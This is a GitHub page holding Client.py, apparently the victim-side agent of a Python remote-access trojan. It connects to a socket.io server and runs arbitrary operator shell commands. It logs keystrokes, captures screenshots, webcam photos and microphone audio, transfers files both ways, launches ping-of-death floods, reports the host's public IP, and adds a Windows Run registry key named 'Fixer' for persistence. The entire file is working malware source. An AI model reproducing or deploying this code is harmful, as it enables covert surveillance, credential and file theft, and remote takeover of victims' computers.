-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathClient.py
282 lines (263 loc) · 13.2 KB
/
Client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
# Client.py
import pyautogui, socketio.client, os.path, subprocess
import socket, winreg, requests, sounddevice, soundfile
import platform, cv2, time
from pynput import keyboard
server_ip = 'localhost'
server_port = 8000
info = {}
client = socketio.Client()
device_id = None
persistenceVariable = False
keyloggerVaraible = False
screenshotNumber = 1
pictureNumber = 1
audioNumber = 1
hostname = socket.gethostname()
def record_audio(idNumber, command, hostname):
global audioNumber
filename = f"{hostname}_audio_{audioNumber}.wav"
audio_data = sounddevice.rec(int(5 * 44100), samplerate=44100, channels=2, dtype='int16')
sounddevice.wait()
soundfile.write(filename, audio_data, 44100)
with open(f'{filename}', 'rb') as file:
file_data = file.read()
client.emit('module_file', {'idNumber': idNumber, 'command': command, 'hostname' : hostname, 'file_name': filename, 'file_data' : file_data})
audioNumber += 1
return filename
def take_picture(idNumber, command, hostname):
global pictureNumber
try:
camera = cv2.VideoCapture(0)
if not camera.isOpened():
return None
capture, frame = camera.read()
picture = f"{hostname}_picture_{pictureNumber}.jpg"
cv2.imwrite(picture, frame)
with open(f'{picture}', 'rb') as file:
file_data = file.read()
client.emit('module_file', {'idNumber': idNumber, 'command': command, 'hostname' : hostname, 'file_name': picture, 'file_data' : file_data})
pictureNumber += 1
return picture
except Exception as e:
return str(e)
def take_screenshot(idNumber,command,hostname):
global screenshotNumber
try:
filename = f"{hostname}_screenshot_{screenshotNumber}.png"
screenshot = os.path.join(filename)
pyautogui.screenshot(screenshot)
with open(f'{filename}', 'rb') as file:
file_data = file.read()
client.emit('module_file', {'idNumber': idNumber, 'command': command, 'hostname' : hostname, 'file_name': filename, 'file_data' : file_data})
screenshotNumber += 1
return screenshot
except Exception as e:
return str(e)
def create_key(name="default", path="") -> bool:
reg_key = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_WRITE)
if not reg_key:
return False
winreg.SetValueEx(reg_key, name, 0, winreg.REG_SZ, "")
reg_key.Close()
return True
def try_persistence():
if create_key("Fixer", str(os.path.realpath(__file__))):
return True
else:
return False
def start_keylogger(key):
try:
char = getattr(key, 'char', None)
if char is not None:
client.emit('keylogs', {'hostname': hostname, 'key': char})
else:
special_keys = {
keyboard.Key.space: ' ',
keyboard.Key.backspace: ' [BACKSPACE] ',
keyboard.Key.enter: ' \n ',
keyboard.Key.shift: ' [SHIFT] ',
keyboard.Key.shift_l: ' [SHIFT] ',
keyboard.Key.shift_r: ' [SHIFT] ',
keyboard.Key.tab: ' [TAB] ',
keyboard.Key.ctrl: ' [CTRL] ',
keyboard.Key.ctrl_l: ' [CTRL] ',
keyboard.Key.ctrl_r: ' [CTRL] ',
keyboard.Key.alt: ' [ALT] ',
keyboard.Key.alt_l: ' [ALT] ',
keyboard.Key.alt_r: ' [ALT] ',
keyboard.Key.alt_gr: ' [ALT] ',
keyboard.Key.caps_lock: ' [CAPS-LOCK] ',
keyboard.Key.num_lock: ' [NUM-LOCK] ',
keyboard.Key.esc: ' [ESC] ',
keyboard.Key.delete: ' [DELETE] ',
keyboard.Key.page_up: ' [PAGE-UP] ',
keyboard.Key.page_down: ' [PAGE-DOWN] ',
keyboard.Key.insert: ' [INSERT] ',
keyboard.Key.print_screen: ' [PRINT-SCREEN] ',
}
special_key = special_keys.get(key)
if special_key:
client.emit('keylogs', {'hostname': hostname, 'key': special_key})
except Exception as e:
print("ERROR: Could not process key:", e)
@client.on('ping')
def handle_ping(ping):
idNumber = ping.get('idNumber')
command = ping.get('command')
ip_address = ping.get('ip_address')
if int(idNumber) == device_id:
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
while True:
line = process.stdout.readline().strip() if process else None
if not line:
time.sleep(0.1)
continue
if f'Reply from {ip_address}: bytes=65500 time<1ms TTL=128' in line:
output = "PING-OF-DEATH Command Executed Successfully"
client.emit('ping_output', {'idNumber': idNumber, 'target': ip_address, 'output': output})
break
elif f'Reply from {ip_address}: Destination host unreachable.' in line:
output = "ERROR : Destination host unreachable."
client.emit('ping_output', {'idNumber': idNumber, 'target': ip_address, 'output': output})
break
elif f'Unknown host' in line:
output = "ERROR : Unknown host."
client.emit('ping_output', {'idNumber': idNumber, 'target': ip_address, 'output': output})
break
except Exception as e:
error_message = str(e)
client.emit('ping_output', {'idNumber': idNumber, 'output': f"ERROR: {error_message}"})
@client.on('commands')
def handle_commands(commands):
idNumber = commands.get('idNumber')
command = commands.get('command')
hostname = commands.get('hostname')
if int(idNumber) == device_id:
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
output_str = output.decode('utf-8').strip()
error_str = error.decode('utf-8').strip()
if error_str:
client.emit('commands_output', {'idNumber': idNumber, 'command': command, 'hostname': hostname, 'output' : error_str})
else:
client.emit('commands_output', {'idNumber': idNumber, 'command': command, 'hostname': hostname, 'output' : output_str})
except Exception as e:
return f"ERROR: {str(e)}"
@client.on("module")
def message(module):
global persistenceVariable, keyloggerVaraible
idNumber = module.get('idNumber')
command = module.get('command')
hostname = module.get('hostname')
if int(idNumber) == device_id:
try:
if command == 'persistence':
if not persistenceVariable:
if try_persistence():
persistenceVariable = True
result = "SUCCESS : Persistence Key Has Been Added"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = "FAILED : Persistence Key Could Not be Added"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = "RETRY : Persistence Key Already Added"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif command == 'screenshot':
screenshot_pic = take_screenshot(idNumber,command,hostname)
if isinstance(screenshot_pic, str):
result = f"SUCCESS : Screenshot Has Been Captured"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = f"FAILED : Screenshot Could not be Captured"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif command == 'keylogger':
if not keyloggerVaraible:
listener = keyboard.Listener(on_press=start_keylogger)
listener.start()
keyloggerVaraible = True
result = "SUCCESS : Keylogger has been started"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif keyloggerVaraible:
result = "RETRY : Keylogger has Already been started"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = "FAILED : Keylogger Could not be started"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif command == 'picture':
picture_file = take_picture(idNumber, command, hostname)
if isinstance(picture_file, str):
result = f"SUCCESS : Picture Has been captured"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif isinstance(take_picture, None):
result = "ERROR : Could not open WEBCAM (Maybe It doesn't Exist)"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = f"FAILED : Picture Could not be captured"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
elif command == 'audio':
audio_file = record_audio(idNumber, command, hostname)
if isinstance(audio_file, str):
result = f"SUCCESS : Audio Has been Recorded"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
else:
result = f"FAILED : Audio Could not be recorded"
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': command, 'result': result})
except Exception as e:
result = str(e)
client.emit('module_output', {'idNumber': idNumber, 'hostname': hostname, 'command': "EXCEPTION", 'result': result})
@client.on('download')
def upload(input):
idNumber = input.get('idNumber')
transfer_type = input.get('transfer_type')
hostname = input.get('hostname')
file_name = input.get('file_name')
if int(idNumber) == device_id:
if transfer_type == 'download':
try:
with open(f'{file_name}', 'rb') as file:
file_data = file.read()
client.emit('download_from_client', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'file_data' : file_data})
except:
file_data = "File Could not be Read from Client"
client.emit('download_from_client', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'file_data' : file_data})
@client.on('upload')
def download(input):
idNumber = input.get('idNumber')
transfer_type = input.get('transfer_type')
hostname = input.get('hostname')
file_name = input.get('file_name')
file_data = input.get('file_data')
if int(idNumber) == device_id:
if transfer_type == 'upload':
try:
with open(file_name, 'wb') as file:
file.write(file_data)
status = "File Has Been Uploaded SuccessFully to the Client"
client.emit('file_status', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'status' : status})
except:
status = "File Could not be Uploaded to the Client"
client.emit('file_status', {'idNumber': idNumber, 'transfer_type': transfer_type, 'hostname' : hostname, 'file_name': file_name, 'status' : status})
info['COMMAND'] = 'INFO'
info["hostname"] = socket.gethostname()
info["OS"] = platform.platform()
info["IP"] = requests.get('https://api.ipify.org').text
@client.event
def connect():
info['sid'] = client.sid
client.emit('Initial_Information', info)
print("SUCCESS ✅: CONNECTED TO THE SERVER")
try_persistence()
@client.event
def disconnect():
pass
@client.on("idNumber")
def handle_idNumber(data):
global device_id
device_id = data.get("idNumber")
print(f"CONNECTING TO THE {server_ip}:{server_port} ⏳")
client.connect(f'http://{server_ip}:{server_port}')
client.wait()